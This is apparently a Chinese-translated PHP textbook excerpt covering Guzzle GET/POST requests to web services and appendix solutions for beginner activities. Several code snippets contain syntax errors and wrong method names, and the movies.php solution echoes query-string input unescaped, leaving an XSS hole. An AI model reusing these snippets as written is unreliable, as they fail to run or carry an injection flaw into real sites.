  1. 打开 Insomnia 并点击“新建请求”按钮。然后,将请求名称输入为Ipify图 10.4:Insomnia 界面

    图 10.4:Insomnia 界面

  2. 确保请求方法设置为GET图 10.5:检查请求方法

    图 10.5:检查请求方法

  3. 在网址栏中输入packt.live/2oyJqxB图 10.6:添加网址

    图 10.6:添加网址

  4. 打开 查询 选项卡,在第一个新名称字段中输入 format,在第一个新值字段中输入 json图 10.7:在查询选项卡中添加数据

    图 10.7:在查询选项卡中添加数据

  5. 点击 URL 栏末尾的 发送 按钮:图 10.8:发送 URL

    图 10.8:发送 URL

  6. 你将看到一个显示 JSON 响应的 预览 部分:

图 10.9:JSON 响应

图 10.9:JSON 响应

使用 PHP 发送请求

现在我们已经讲完了所有理论,接下来我们将介绍如何在 PHP 中实际发送请求。你可以使用几种方法在语言中发送请求,最终它们都会使用 cURL 扩展来发送请求。如果你有一个简单的 GET 请求要发送,那么你可以使用内置的 file_get_contents 函数。你可以使用 cURL 函数直接与 cURL 扩展交互,这些函数在 packt.live/2olkmKv 上有很好的文档;然而,这可能很繁琐,并且缺乏面向对象方法可以提供的抽象级别。为此,Composer 提供了一个名为 guzzlehttp/guzzle 的包。实际上,Guzzle 是 PSR-7 标准 HTTP 消息接口的官方实现,并且被广泛使用。

练习 10.3:使用 Guzzle 发送 GET 请求

在这个练习中,我们将回顾实例化一个 Guzzle 客户端、配置请求以及调用方法发送 GET 请求的过程:

  1. 首先,在你的代码存储目录中为这一章创建一个新的项目,并切换到该目录:

    mkdir guzzle-example
    
  2. 初始化一个新的 Composer 项目(如需帮助,请参阅 第九章Composer),然后安装 Guzzle:

    composer init
    composer require guzzlehttp/guzzle
    
  3. 创建一个名为 ipify.php 的 PHP 脚本,并包含 Composer 自动加载文件:

    <?php
    require 'vendor/autoload.php';
    
  4. 使用 use 语句引用 GuzzleHttp\Client 类,然后创建一个新的 Client 对象,传入 ipify 网服务的基准 URL:

    use GuzzleHttp\Client;
    $client = new Client(['base_uri'=>'https://api.ipify.org']);
    
  5. 向网络服务的根发送一个带有值为 json 的格式查询参数的 HTTP GET 请求,并将其存储在 $response 变量中:

    $response = $client->request('GET', '/'),['query'=>['format'=>'json']]);
    
  6. 使用 getBody()getContents() 方法提取响应体,这是一个 JSON 字符串,通过 json_decode() 函数将其解析为对象,并将其存储在 $responseObject 变量中:

    $responseObject = json_decode($response->getBody()->getContent());
    
  7. 输出一个字符串以打印出响应对象的 ip 属性:

    echo "Your public facing ip address is {$responseObject->ip}".PHP_EOL;
    
  8. 在命令行中运行脚本。你应该会看到类似于以下截图的输出:

图 10.10:打印 IP 地址

图 10.10:打印 IP 地址

让我逐行解释示例代码的功能。首先,我们包含 Composer 的自动加载文件,这样我们所有的依赖项都会像我们在上一章中介绍的那样自动包含。然后,我们添加一个use语句,这样我们就不必每次引用GuzzleHttp\Client时都使用完整路径。接着,我们实例化一个Guzzle客户端实例,在构造函数中传入的options数组中设置我们的目标 Web 服务基本 URL。接下来,我们在Guzzle客户端上调用请求方法。这个方法接受 HTTP 方法作为第一个参数,在这个例子中是一个GET请求。第二个参数是我们试图访问的资源的相关 URI,在这个例子中只是根,所以我们只输入一个反斜杠。最后一个参数是一个选项数组,我们用关联数组填充它,告诉 Web 服务我们希望响应体以 JSON 格式进行格式化。

在我们得到响应后,我们调用Guzzle提供的方法,以链式方式获取主体对象,然后获取响应的内容作为字符串,在这个例子中将是 JSON 格式的文本。为了能够访问响应中的数据,我们通过json_decode将其转换为通用的stdClass对象,这样我们就可以访问属性。最后,我们使用字符串插值将服务返回的ip地址注入到我们的消息中输出。

注意

将 JSON 字符串解码成数组而不是对象是可能的。

发送GET请求是有用的,你写的许多请求都将使用此方法,但我们也应该介绍发送POST请求,在这种情况下,你必须向 Web 服务提供一些要处理的数据。我们发现另一个简单的免费 Web 服务可以让我们进行此类请求,你也可能觉得它很有用。这是一个允许你在请求体中传递一个电子邮件地址和一些选项的 JSON 字符串的服务,并返回该电子邮件地址的SpamAssassin评分。我们还将演示在请求中设置AcceptContent-Type头,以告诉 Web 服务如何解析我们的请求体以及我们希望以什么格式接收响应。检查你的 API 调用以查找错误条件非常重要,我们也将展示一些这方面的例子。

练习 10.4:带有头的 POST 请求

这个练习将与上一个类似,主要区别在于我们将使用POST方法在请求体中发送数据。这次,我们调用的服务是接受一个电子邮件地址并返回该电子邮件的SpamAssassin评分的服务。SpamAssassin是由 Apache 软件基金会发起的一个开源项目,帮助系统管理员从发送未经请求的大量邮件的来源过滤电子邮件:

  1. 在与上一章相同的文件夹中创建一个 spamcheck.php 脚本。引入 Composer 自动加载文件,添加一个使用 Guzzle Client 类的语句,并定义一个包含任何电子邮件地址的字符串变量:

    <?php
    require 'vendor/autoload.php';
    use GuzzleHttp\Client;
    $email = 'test@test.com';
    
  2. 实例化 Guzzle Client 对象,在构造函数中传入服务的 URL:

    $client = new client(['base_uri'=>'https://spamcheck.postmarkapp.com/']);
    
  3. 为我们的请求体创建一个数组,第一个元素是电子邮件变量,键为 email,第二个元素是字符串 short,键为 options。然后,使用 json_encode() 函数将其转换为 JSON 字符串,并存储在 $requestBody 变量中:

    $requestBody = json_encode(['email'=>$email, 'options'=>'short']);
    
  4. 打开一个 trycatch 块,并在其中向 /filter 端点发起 POST 请求。AcceptContent-Type 头部信息包含在 options 数组中,以及我们的请求体:

    try
    {
        $response = $client->request('POST','/filter'),[
            'headers' => [
                'Accept'=>'application/json'
                'Content-Type'=>'application/json'
                ],
                'body'=>$requestBody
                ]);
    
  5. 检查响应的 HTTP 状态码,如果不是 200(即成功),则抛出异常:

    if($response->getStatusCode()!==200){
            throw new Exception("Status code was {$response->getStatusCode()},           not 200");
        }
    
  6. 将 JSON 字符串响应解析为对象并存储在变量中:

    $responseObject = json_decode($response->getBody()->getContents());
    
  7. 如果 response 对象上的 success 属性未设置为 true,则抛出异常:

    if($responseObject->success!== true){
            throw new Exception("Service returned an unsuccessful respose:           {$responseObject->message}");
        }
    
  8. 输出一个字符串,表示电子邮件的 SpamAssassin 分数:

    echo "The SpamAssassin score for email {$email} is   {$responseObject->score}".PHP_EOL;
    
  9. 捕获可能抛出的任何异常并输出消息:

    catch
    {
        echo "An error occurred: ".$ex->getMessage().PHP_EOL;
    }
    
  10. 运行脚本并查看输出:

![图 10.11:最终输出图 10.11:最终输出

图 10.11:最终输出

这个例子在许多方面与上一个例子相似,但有几点例外。首先,我们使用 json_encode 将关联数组转换为 JSON 字符串,并将其存储在 $json 变量中。当我们使用请求方法调用网络服务时,我们传递 POST 作为 HTTP 方法,这次相对路径是 /filter,因此完整的请求 URL 为 packt.live/3269n6i。在 options 数组中,我们包括一个包含我们想要包含在请求中的头部键值对的头部数组。

Content-Type 头部告诉网络服务我们的请求体格式为 JSON,而 Accept 头部告诉服务我们期望响应格式为 JSON。如果您需要在请求中包含其他头部,可以通过将它们添加到数组中来实现。包含我们请求有效载荷的 JSON 字符串的 $json 变量通过 body 参数传递。

这次,在我们从响应中获取内容之前,我们检查以确保我们有一个有效的响应。在大多数情况下,最简单的方法是查看 HTTP 状态码。成功的响应将在 2xx 范围内。大多数时候,你可以寻找 200 或 201,这取决于你使用的 HTTP 方法。在解码响应后,我们检查以确保success属性设置为 true。这是另一个告诉我们请求已正确处理的层次。并非所有网络服务都会以相同的方式提供这一层,但在响应体中包含一些指示器是相当常见的。如果我们发现表示请求未成功的条件,我们将抛出一个异常,并清楚地说明失败的原因,然后在catch子句中处理它,将消息传递给用户。

活动 10.1:向 httpbin.org 发送自己的 POST 请求

现在是时候自己练习发送请求了。为此,你将使用位于packt.live/2oyJqxB的不同服务。Httpbin是一个公开的网络服务,它将读取你对其发送的请求,并根据你请求的 API 端点在响应体中返回各种数据。/response-headers端点将读取你请求中传递的查询字符串参数,并将它们作为 JSON 对象响应中的属性包含在内。

编写自己的脚本,向packt.live/2OE94LV发送请求。请求中包含两个查询参数,一个以first属性为键,值为John,另一个以last属性为键,值为Doe。务必将Accept头设置为application/json。检查响应的状态码是否为 200,如果不匹配则抛出异常。将响应从 JSON 解码,并在字符串中输出解码对象中firstlast属性的值。

输出应如下所示:

图 10.12:预期的输出

图 10.12:预期的输出

以下步骤将帮助您完成活动:

  1. guzzle-example目录中创建一个httpbin.php文件。需要引入 Composer 自动加载文件并导入Guzzle 客户端类。

  2. 通过传递httpbin地址实例化一个新的Guzzle 客户端

  3. trycatch块中,向/response-headers端点发送POST请求。添加一个设置为application/jsonAccept头,并设置两个查询参数键值对,其中firstJohnlastDoe

  4. 检查 HTTP 状态码是否不是 200,如果是,则抛出异常。

  5. 使用json_decode()将响应体解析为对象并存储在变量中。

  6. 输出一个字符串,The web service responded with,与响应对象中的第一个和最后一个属性连接。

  7. 运行脚本并查看输出是否包含John Doe

    注意

    本活动的解决方案可在第 560 页找到。

摘要

网络服务是现代计算中最重要的概念之一,使我们能够使用许多丰富的互联网应用。在本章中,我们讨论了在评估用于你应用程序的网络服务时你可能想要使用的某些标准,例如文档、可用性和定价。我们简要介绍了 RESTful 网络服务的概念,这些是无状态服务,通过 HTTP 动词公开接口以与资源交互。我们还涵盖了 JSON 和 XML 格式,这些是用于在请求主体中传输数据以及其它用途的分层结构。

HTTP 请求由一个主体和多个头部组成,其中一些是必需的,一些是可选的,还有一些包含关于请求的元数据并协商内容类型。我们讨论了网络服务提供商通常使用的认证方法,包括 API 密钥和与 OAuth 2.0 结合的 Open ID Connect 进行授权。REST 客户端是在你与它们集成时手动测试 API 端点的一个有用工具。Guzzle 是 PHP 中制作 HTTP 请求的抽象层,通过 Composer 包管理器提供,它提供了一个干净且简单的接口。

附录

关于

本节旨在帮助学生学习书中现有的活动。它包括学生为完成和实现本书目标而要执行的详细步骤。

1. PHP 简介

活动 1.1:在浏览器中显示查询字符串

解决方案

  1. 创建一个名为movies.php的文件。

  2. 在文件中捕获查询字符串数据以存储电影的详细信息,例如名称、演员和发行年份:

    <?php 
    $name = $_GET['movieName'];
    $star = $_GET['movieStar'];
    $year = $_GET['movieYear'];
    ?>
    
  3. 创建一个基本的 HTML 结构,然后显示捕获的查询字符串:

    movies.php
    8      <head>
    9          <meta charset="UTF-8">
    10         <meta name="viewport" content="width=device-width, initial-scale=1.0">
    11         <meta http-equiv="X-UA-Compatible" content="ie=edge">
    12         <title><?php echo $name; ?></title>
    13     </head>
    14     <body>
    15         <div>
    16             <h1>Information about <?php  echo $name; ?></h1>
    17             <p>
    28             Based on the input, here is the information so far:
    19             <br>
    20             <?php echo $star . ' starred in the movie ' . $name .'                  which was released in year ' . $year; ?>
    21             </p>
    22         </div>
    23     </body>
    https://packt.live/2P3sZ75
    
  4. 现在,转到终端并输入以下命令以启动内置 Web 服务器:

    php -S localhost:8085
    

    你应该看到以下屏幕:

    图 1.17:启动服务器

    图 1.17:启动服务器

  5. 在 Web 服务器启动并运行后,打开 PHP 页面,并在浏览器中的 URL 后附加您的查询字符串:

    http://localhost:8085/movies.php?movieName=Avengers&movieStar=IronMan&movieYear=2019

    你可以将值更改为任何你喜欢的,以查看它们在浏览器中的显示方式。

    你应该看到以下屏幕:

图 1.18:打印电影信息

图 1.18:打印电影信息

注意

确保您指定的端口没有被系统上的其他应用程序使用。

根据最后的几个练习,你现在应该知道这段代码是如何工作的。让我们来分析一下查询字符串和代码。

这次查询字符串是movieName=Avengers&movieStar=IronMan&movieYear=2019。这意味着 PHP 中的$_GET变量现在可以访问三个不同的变量,分别是movieNamemovieStarmovieYear

在前三行代码中,我们正在提取movieNamemovieStarmovieYear的值,并将它们分别赋值给$name$star$year变量。

在 HTML 的头部部分,我们有一个标题。在其中,我们使用了echo语句来打印电影名称,它将在浏览器中显示。进一步向下,我们有一个h1元素,我们在其中再次打印名称。在h1元素之后是一个p元素,我们在其中创建一个动态句子。我们使用了变量和点操作符(.)来附加不同的字符串和变量,以创建完整的句子。

2. 类型与运算符

活动 2.1:打印用户的 BMI

解决方案

  1. 创建一个名为tracker.php的新文件。然后,在 PHP 中创建一个变量来存储名称。你可以直接赋值,也就是说,$name = 'Joe'

    <?php
    $name = 'Joe';
    
  2. 添加体重和身高的变量;再次设置默认值:

    $weightKg = 80;
    $heightCm = 180;
    
  3. $heightCm变量除以100将其转换为米,并将结果存储:

    $heightMeters = $heightCm/100;
    
  4. 平方身高并存储结果:

    $heightSquared = $heightMeters * $heightMeters;
    
  5. 通过将体重除以身高的平方来计算 BMI:

    $bmi = $weightKg / ($heightSquared);
    
  6. 向用户显示一条消息,显示名称和 BMI 结果:

    echo "<p>Hello $name, your BMI is $bmi</p>";
    
  7. 打开终端/命令提示符,导航到你的chapter2文件夹或存储tracker.php的位置。通过输入以下命令来运行服务器:

    php -S localhost:8085
    

    现在,在浏览器中,转到http://localhost:8085/tracker.php

    你将看到以下输出:

    图 2.11:打印 BMI

图 2.11:打印 BMI

在这个活动中,我们学习了如何将数据赋值给变量并执行计算(除法和乘法)。然后,我们将最终结果打印到屏幕上。

3. 控制语句

活动三.1:创建一个按导演打印电影的列表脚本

解决方案

完成活动的步骤如下:

  1. 创建一个activity-movies.php脚本,并添加以下嵌套数组,其中包含五个导演及其相关的五个电影列表:

    <?php
    $directors = [
    "Steven Spielberg" => ["The Terminal", "Minority Report", "Catch Me If You Can", "Lincoln", "Bridge of Spies"],
    "Christopher Nolan" => ["Dunkirk", "Interstellar", "The Dark Knight Rises", "Inception", "Memento"],
    "Martin Scorsese" => ["Silence", "Hugo", "Shutter Island", "The Departed", "Gangs of New York"],
    "Spike Lee" => ["Do the Right Thing", "Malcolm X", "Summer of Sam", "25th Hour", "Inside Man"],
    "Lynne Ramsey" => ["Ratcatcher", "Swimmer", "Morvern Callar", "We Need To Talk About Kevin", "You Were Never Really Here"]
                     ];
    

    在这里,我们有一个关联数组$directors,它包含五个导演的姓名,每个导演都用作数组的键。此外,每个导演的键都分配了另一个关联数组,该数组包含五个电影名称。

  2. 使用我们之前关于嵌套循环的知识,使用两个foreach循环遍历嵌套数组,如下所示。正如以下所示,在$directors数组之后添加循环:

    foreach ($directors as $director => $movies) {
            echo "$director's movies: " . PHP_EOL;
            foreach ($movies as $movie) {
                    echo " > $movie " . PHP_EOL;
            }
    }
    

    在前面的例子中,我们有一个简单的嵌套数组的循环。由于foreach循环是遍历关联数组的良好选择,我们在内循环和外循环中都使用了foreach来打印格式化的导演姓名以及他们执导的电影,每行一个。

  3. 使用以下命令从终端或控制台运行 PHP 文件:

    php activity-movies.php
    

    前面的命令输出了以下内容:

    图 3.21:使用默认参数的活动电影脚本输出

    图 3.21:使用默认参数的活动电影脚本输出

    嵌套的foreach循环完成了它们的工作,遍历嵌套数组以打印导演名称对应的可用电影名称。

  4. 现在,是时候给我们的循环技术添加一些动态行为,以便我们可以通过命令行参数控制两个循环的迭代次数。这意味着我们将从命令行获取两个参数,如下所示:

    php activity_movies.php 3 2
    

    在这里,脚本名称本身是php命令的一个参数,因此,第一个、第二个和第三个参数分别是activity-movies.php32。第二个参数应该控制迭代的导演数量,第三个参数应该控制迭代的电影数量。

    可以使用系统变量$argv获取命令行参数,因此我们将使用$argv[1]$argv[2]作为第二个和第三个参数。请注意,在这种情况下$argv[0]是脚本名称。

  5. 在脚本的开头添加以下行以添加命令行参数:

    <?php
    $directorsLimit = $argv[1] ?? 5;
    $moviesLimit = $argv[2] ?? 5;
    
  6. 这里使用了??,空合并运算符,以便如果$argv[1]$argv[2]不存在或为NULL,则可以将默认数字 5 分配给$directorsLimit$moviesLimit限制变量。

  7. 现在我们需要添加两个计数器,用于计算要打印的导演和电影数量,以便我们可以维护以命令行参数形式提供的导演和电影数量。让我们添加计数器和控制语句,以便嵌套循环看起来如下:

    $directorsCounter = 1;
    foreach ($directors as $director => $movies) {
            if ($directorsCounter > $directorsLimit) {
                    break;
            }
            echo "$director's movies: " . PHP_EOL;
            $moviesCounter = 1;
            foreach ($movies as $movie) {
                    if ($moviesCounter > $moviesLimit) {
                            break;
                    }
                    echo " > $movie " . PHP_EOL;
                    $moviesCounter++;
            }
            $directorsCounter++;
    }
    

    在这里,我们在外循环之前添加了$directorsCounter,在内循环之前添加了$moviesCounter。它们都从1开始计数,并在循环内部立即检查导演或电影是否超过了$directorsLimit$moviesLimit分别给出的限制。如果任何一个计数器超过了其限制,我们将使用break命令终止迭代。

    在每个循环的开始,我们使用if控制中的条件表达式检查计数器是否不超过限制,并且在每个循环的末尾,相应的计数器会递增。

    注意

    最终文件可以参考:packt.live/35QfYnp

  8. 现在运行以下命令以查看directorsmovies参数的实际效果:

    php activity_movies.php 2 1
    

    前面的命令应该打印出两位导演各自的一部电影,如下所示:

    图 3.22:带有自定义参数的活动电影脚本输出

    ](https://github.com/OpenDocCN/freelearn-php-zh/raw/master/docs/php-ws/img/C14196_03_23.jpg)

    图 3.22:带有自定义参数的活动电影脚本输出

  9. 使用不同的参数测试前面的脚本;即php activity-movies.php 2 3。因为我们已经将默认限制值分配给限制变量,如果没有命令中的参数;即php activity-movies.php,它将完成所有迭代以循环遍历数组元素。

  10. 我们也可以尝试只传递directors限制参数,这样movies限制就保持在默认的 5 个限制。以下命令将输出给定数量导演的所有电影:

    php activity-movies.php 2
    

    输出如下:

    图 3.23:带有第一个参数的活动电影脚本输出

    ](https://github.com/OpenDocCN/freelearn-php-zh/raw/master/docs/php-ws/img/C14196_03_23.jpg)

图 3.23:带有第一个参数的活动电影脚本输出

恭喜!你已经使用了控制语句和循环技术来创建一个基于命令行参数的动态脚本。控制结构用于控制程序的执行,因此我们可以利用这样的结构来做出决定,比如执行哪个代码分支,执行重复执行,控制迭代流程等等。

4. 函数

活动 4.1:创建计算器

解决方案

  1. Chapter04目录内创建一个名为activity.php的新文件。

  2. 以 PHP 开头标签开始你的脚本,并将严格类型设置为1

    <?php
    declare(strict_types=1);
    
  3. 现在,我们可以开始在这个文件中编写我们的factorial函数:

    activity.php
    13 function factorial(int $number): float
    14 {
    15     $factorial = $number;
    16     while ($number > 2) {
    17         $number--;
    18         $factorial *= $number;
    19     }
    20     return $factorial;
    21 }
    https://packt.live/31nkK8E
    

    让我来解释这个函数的作用。首先,它接受一个整数参数;我们可以确信它始终是一个整数,因为我们添加了类型提示并声明了我们在使用严格类型。你可以用几种方式实现这个函数,所以不要让我的解决方案让你感到沮丧。

    我对它的看法是,计算中的第一个数字必须是输入数字——我们将其存储在$factorial中,这是我们用来保存结果的变量。然后,它乘以$number - 1。这个过程一直持续到$number === 2;当$number变成3时,while条件将最后一次运行;然后它将减去1并与$factorial变量相乘。最终,$factorial包含结果并从函数中返回。

    与使用后递减运算符$number--;相比,我们可以写成$number = $number -1;。有些人认为后者是一种更好的实践,因为它更明确。我有时更喜欢使用 PHP 提供的便捷快捷方式。因为$number--是一个单独的语句,我们也可以写成--$number。在这种情况下,两者没有区别。

    两个运算符之间的区别在于,使用--$number时,$number将在语句运行之前递减,而使用$number--时,它将在语句评估之后递减。在这种情况下,这种差异没有后果。

  4. 接下来,我们将定义sum函数如下:

    /**
     * Return the sum of its inputs. Give as many inputs as you like.
     *
     * @return float
     */
    function sum(): float
    {
        return array_sum(func_get_args());
    }
    

    虽然我们可以直接循环遍历func_get_args();并将所有数字相加得到总和,但 PHP 中已经有一个内置函数可以做到这一点。所以,为什么不使用它呢?这就是array_sum的作用:它将你给出的输入数组中的所有数字相加。return关键字使函数返回结果。

    如果你想要验证每个参数以检查它是否为数字(使用is_numeric),那么循环遍历参数会更好,因为你在相同的迭代中执行检查,并在参数不是数字时抛出异常。

  5. 我们将要定义的最后一个数学函数是prime函数:

    activity.php
    41 function prime(int $number): bool
    42 {
    43     // everything equal or smaller than 2 is not a prime number
    44     if (2 >= $number) {
    45         return false;
    46     }
    47     for ($i = 2; $i <= sqrt($number); $i++) {
    48         if ($number % $i === 0) {
    49             return false;
    50         }
    51     }
    52     return true;
    53 }
    https://packt.live/2OYdEox
    

    prime函数无疑是所有函数中最具挑战性的。直观的实现只是尝试确定$number输入与所有较小值的模:当模为0时,它不是素数。然而,已经证明你只需要检查输入的平方根以下的数字。实际上,你可以检查更少的数字,但我们还没有做到这一点。

    现在我们知道 1 不是一个质数,所以如果传入的数字是 1,我们就提前返回false。这也排除了 0 和负数。根据定义,质数是正数。然后,从 2 开始,直到$number的平方根,我们每次将$i增加 1,并检查$number除以$i的余数是否为 0。如果是,$number不是质数,我们再次提前返回false。模运算符写作%(百分比符号)。换句话说,当$number$i取模等于 0 时,$number可以被$i整除,并且由于$i不等于 1 也不等于$number,所以$number不是质数。

  6. 我们将要定义的最后一个主要函数是performOperation函数:

    activity.php
    59 function performOperation(string $operation)
    60 {
    61     switch ($operation) {
    62         case 'factorial':
    63             // get the second parameter, it must be an int.
    64             // we will cast it to int to be sure
    65             $number = (int) func_get_arg(1);
    66             return factorial($number);
    67         case 'sum':
    68             // get all parameters
    69             $params = func_get_args();
    70             // remove the first parameter, because it is the operation
    71             array_shift($params);
    72             return call_user_func_array('sum', $params);
    73         case 'prime':
    74             $number = (int) func_get_arg(1);
    75             return prime($number);
    76     }
    77 }
    https://packt.live/31s2YB2
    

    这个函数只是根据你作为其第一个参数给出的$operation情况在三个其他函数之间切换。由于它委托工作的其中一个函数接受可变数量的参数,performOperation也必须接受可变数量的参数。

    你也可以选择一个实现,让performOperation有一个名为$number的第二个参数,然后可以将其原样传递给阶乘和质数。在这种情况下,你只有在sum操作的情况下查询func_get_args。你选择的方法不仅是一个口味问题,也是一个性能问题。不使用func_get_args()会更快,所以替代方法肯定是最快的。

  7. 按以下方式打印输出:

    echo performOperation("factorial", 3) . PHP_EOL;
    echo performOperation('sum', 2, 2, 2) . PHP_EOL;
    echo (performOperation('prime', 3)) ? "The number you entered was prime."   . PHP_EOL : "The number you entered was not prime." . PHP_EOL;
    

    这里是输出:

    ![图 4.18:打印结果 图 4.18:打印结果

图 4.18:打印结果

5. 面向对象编程

活动 5.1:构建学生和教授对象关系

解决方案

完成活动的步骤如下:

  1. 创建一个名为activity1的目录,将所有活动内容放入其中。这应该是我们的工作目录(你可以使用cd命令进入该目录)。

  2. activity1目录下创建一个名为Student的目录,将命名空间为Student的类放入其中。

  3. Student目录下创建一个名为Student.php的 PHP 文件。

  4. 声明一个Student类,其中Student类已经被命名空间为Student,并且有两个成员属性,$name$title,默认为student。构造函数接受学生的名字作为参数。参数通过其期望的类型string(任何非字符串都会产生错误)进行提示,并使用$this->name将其分配给$name属性。所以,每次我们实例化Student类时,我们应该通过其命名空间调用类,例如新的Student\Student('Student Name')命名空间:

    <?php
    namespace Student;
    class Student
    {
        public $name;
        public $title = 'student';
        function __construct(string $name)
    {
            $this->name = $name;
        }
    }
    
  5. 对于教授,在activity1目录下创建一个名为Professor的目录。

  6. Professor目录下,创建一个名为Professor.php的 PHP 文件。

  7. Professor.php中声明带有Professor命名空间的Professor类。Professor类与Student类类似,但有一个额外的私有属性$students,该属性将保存学生数组。$students数组被保留为私有,这样学生名单就不能在Professor类外部访问。教授的默认标题为Prof.,已在$title属性中分配。构造函数接受提示参数,一个名称(仅接受字符串)和学生(仅接受数组)列表作为两个参数,第一个参数$name已使用$this->name分配给$name属性。我们使用参数类型提示以确保不传递其他类型:

    <?php
    namespace Professor;
    class Professor
    {
        public $name;
        public $title = 'Prof.';
        private $students = array();
        function __construct(string $name, array $students)
        {
            $this->name = $name;
        }
    }
    
  8. 此外,我们将在Professor命名空间内使用Student类的实例,因此我们需要在Professor.php中通过Student命名空间导入Student类,如下所示:

    <?php
    namespace Professor;
    use Student\Student;
    

    在这里,在Professor命名空间声明之后,我们通过Student命名空间导入了Student类,如下所示:

  9. 我们需要遍历学生数组并检查每个对象——是否是Student类的实例。如果是有效的学生,则将其添加到教授的$students数组中。

    Professor构造函数中添加以下对$students的过滤:

        function __construct(string $name, array $students)
    {
            $this->name = $name;
    
            foreach ($students as $student) {
                if ($student instanceof Student) {
                    $this->students[] = $student;
                }
            }
        }
    

    在这里,我们使用foreach循环遍历$students,并在循环内部检查$student是否是Student类的实例,然后将其添加到$this->students数组中。因此,只有有效的学生才能被添加到教授的学生名单中。

  10. 现在,在Professor类中添加以下 setter 方法以设置标题:

        public function setTitle(string $title)
    {
            $this->title = $title;
        }
    

    此方法应用于设置教授的标题。如果教授是Ph.D.,则我们将标题设置为Dr.

  11. Professor类中创建一个成员方法printStudents(),如下所示,该方法将打印教授的标题、姓名、学生数量以及以下学生列表:

        public function printStudents()
    {
            echo "$this->title $this->name's students (" .count($this-          >students). "): " . PHP_EOL;
            $serial = 1;
            foreach ($this->students as $student) {
                echo " $serial. $student->name " . PHP_EOL;
                $serial++;
            }
        }
    

    在这里,我们打印了教授的标题、姓名和学生的数量。同样,我们使用foreach循环遍历教授的私有属性$students,并在循环内部打印每个学生的姓名。此外,为了保持学生的序列顺序,我们使用了从1开始的$serial变量,每次迭代后增加一,以便在打印每个学生姓名前添加一个数字。

  12. activity1目录内创建一个名为activity-classes.php的 PHP 文件。

  13. 在文件开头添加spl_autoload_register()函数以自动根据它们的命名空间加载ProfessorStudent类:

    <?php
    spl_autoload_register();
    

    spl_autoload_register()函数中,我们尚未注册任何类加载方法;相反,我们保留为默认设置,根据它们的命名空间加载类。

  14. 创建一个Professor实例,提供一个名称和一个包含Student实例的学生列表,如下所示:

    $professor = new Professor\Professor('Charles Kingsfield', array(
                        new Student\Student('Elwin Ransom'),
                        new Student\Student('Maurice Phipps'),
                        new Student\Student('James Dunworthy'),
                        new Student\Student('Alecto Carrow')
                ));
    

    在这里,我们向数组中添加了随机数量的Student实例,并将它们传递给Professor构造函数。当我们以new Professor\Professor()的形式实例化Professor类时,这个命名空间类名告诉自动加载器从Professor目录加载Professor类。同样,这个命名空间类的加载技术也应用于Student类。新的Student\Student()命名空间告诉自动加载器在Student目录中期望Student类。

  15. 现在,使用相应的 setter 方法将教授的头衔更改为Dr.,如下所示:

    $professor->setTitle('Dr.');
    
  16. 通过调用printStudents()方法并使用Professor对象来打印输出:

    $professor->printStudents();
    

    最后,activity-classes.php看起来如下:

    <?php
    spl_autoload_register();
    $professor = new Professor\Professor('Charles Kingsfield', array(
                        new Student\Student('Elwin Ransom'),
                        new Student\Student('Maurice Phipps'),
                        new Student\Student('James Dunworthy'),
                        new Student\Student('Alecto Carrow')
                ));
    $professor->setTitle('Dr.');
    $professor->printStudents(); 
    
  17. 使用以下命令运行 PHP 脚本:

    php activity-classes.php
    

    输出应该看起来像以下这样:

    ![图 5.30:教授的学生名单]

    图 5.30:教授的学生名单

图 5.30:教授的学生名单

我们已经成功使用面向对象技术获取了一位教授的学生名单。在这个活动中,我们练习了类属性、访问修饰符、方法、类声明、类命名空间、对象实例化、自动加载命名空间类、参数中的类型提示以及使用instanceof的对象过滤等。

6. 使用 HTTP

活动练习 6.1:创建一个支持联系表单

解决方案

  1. 首先跳出的就是登录处理的不同之处,因为我们现在需要验证随机用户,而不仅仅是单个用户。因此,我们需要一个方法来获取正在登录的用户名对应的数据。该方法将为现有用户返回用户数据(使用levelpassword散列),如果用户未找到,则返回NULL。由于我们将在下一章学习数据库,我们将以与之前练习相同的方式在代码中存储可用的用户列表:

    Login.php
    37 private function getUserData(string $username): ?array
    38 {
    39     $users = [
    40         'vip' => [
    41             'level' => 'VIP',
    42             'password' => '$2y$10$JmCj4KVnBizmy6WS3I/bXuYM/yEI3dRg/IYkGdqHrBlOu4FKOliMa'                  // "vip" password hash
    43         ],
    https://packt.live/2VWoRqU
    
  2. 然后,\Handlers\Login::handle()方法将稍微改变验证认证和用户会话中存储数据的方式。首先,如果我们为提供的用户名获取了用户数据,这意味着我们有一个有效的用户来自我们的数据库,我们可以继续下一步。密码匹配按常规进行,如果匹配成功,则我们可以通过在会话中添加用户名和用户数据来继续。在发生任何失败(如从数据库中获取用户或密码匹配失败)的情况下,我们应该准备将在 HTML 表单中显示的错误:

    $username = 'admin';
    $passwordHash = '$2y$10$Y09UvSz2tQCw/454Mcuzzuo8ARAjzAGGf8OPGeBloO7j47Fb2v.  lu'; // "admin" password hash
    $formError = [];
    $userData = $this->getUserData($formUsername);
    if (!$userData) {
        $formError = ['username' => sprintf('The username [%s] was not       found.', $formUsername)];
    } elseif (!password_verify($formPassword, $userData['password'])) {
        $formError = ['password' => 'The provided password is invalid.'];
    } else {
        $_SESSION['username'] = $formUsername;
        $_SESSION['userdata'] = $userData;
        $this->requestRedirect('/profile');
        return '';
    }
    

    注意

    为了方便起见,使用命令行using php -r "echo password_hash('admin', PASSWORD_BCRYPT);"命令生成密码散列

  3. 登录表单不需要任何更改;我们只需在Authenticate表单标题下删除admin用户的凭据提示:

    <div class="text-center mb-4">
        <h1 class="h3 mb-3 mt-5 font-weight-normal">Authenticate</h1>
    </div>
    
  4. 现在认证部分已经处理完毕。用户登录后将被重定向到Profile页面,因此他们将看到之前展示的布局。

    src/templates/profile.php文件需要从头开始重建。首先,让我们添加问候语和注销按钮部分。在浏览 Bootstrap 框架文档时,我们发现了警报组件,并看到我们可以使用此组件来完成当前目的:

    <div class="row">
        <div class="my-5 alert alert-secondary w-100">
            <h3>Welcome, <?= $username ?>!</h3>
            <p class="mb-0"><a href="/logout">Logout</a></p>
        </div>
    </div>
    
  5. 接下来,我们需要添加支持区域,并将其水平分为两个相等的部分:

    <div class="row">
        <div class="col-sm-6">...</div>
        <div class="col-sm-6">...</div>
    </div>
    

    注意

    要了解更多关于 Bootstrap 中网格系统的信息,请点击此链接:packt.live/31zF72E

  6. 我们将使用以下规格的支持联系表单:两个文本输入框,用于姓名和电子邮件,以及一个文本区域输入框用于消息。每个输入都将有一个相关的<label>元素,如果有任何错误,它们将打印在包含错误数据的输入下方:

    profile.php
    15 <div class="form-label-group mb-3">
    16     <label for="name">Name:</label>
    17     <input type="text" name="name" id="name"
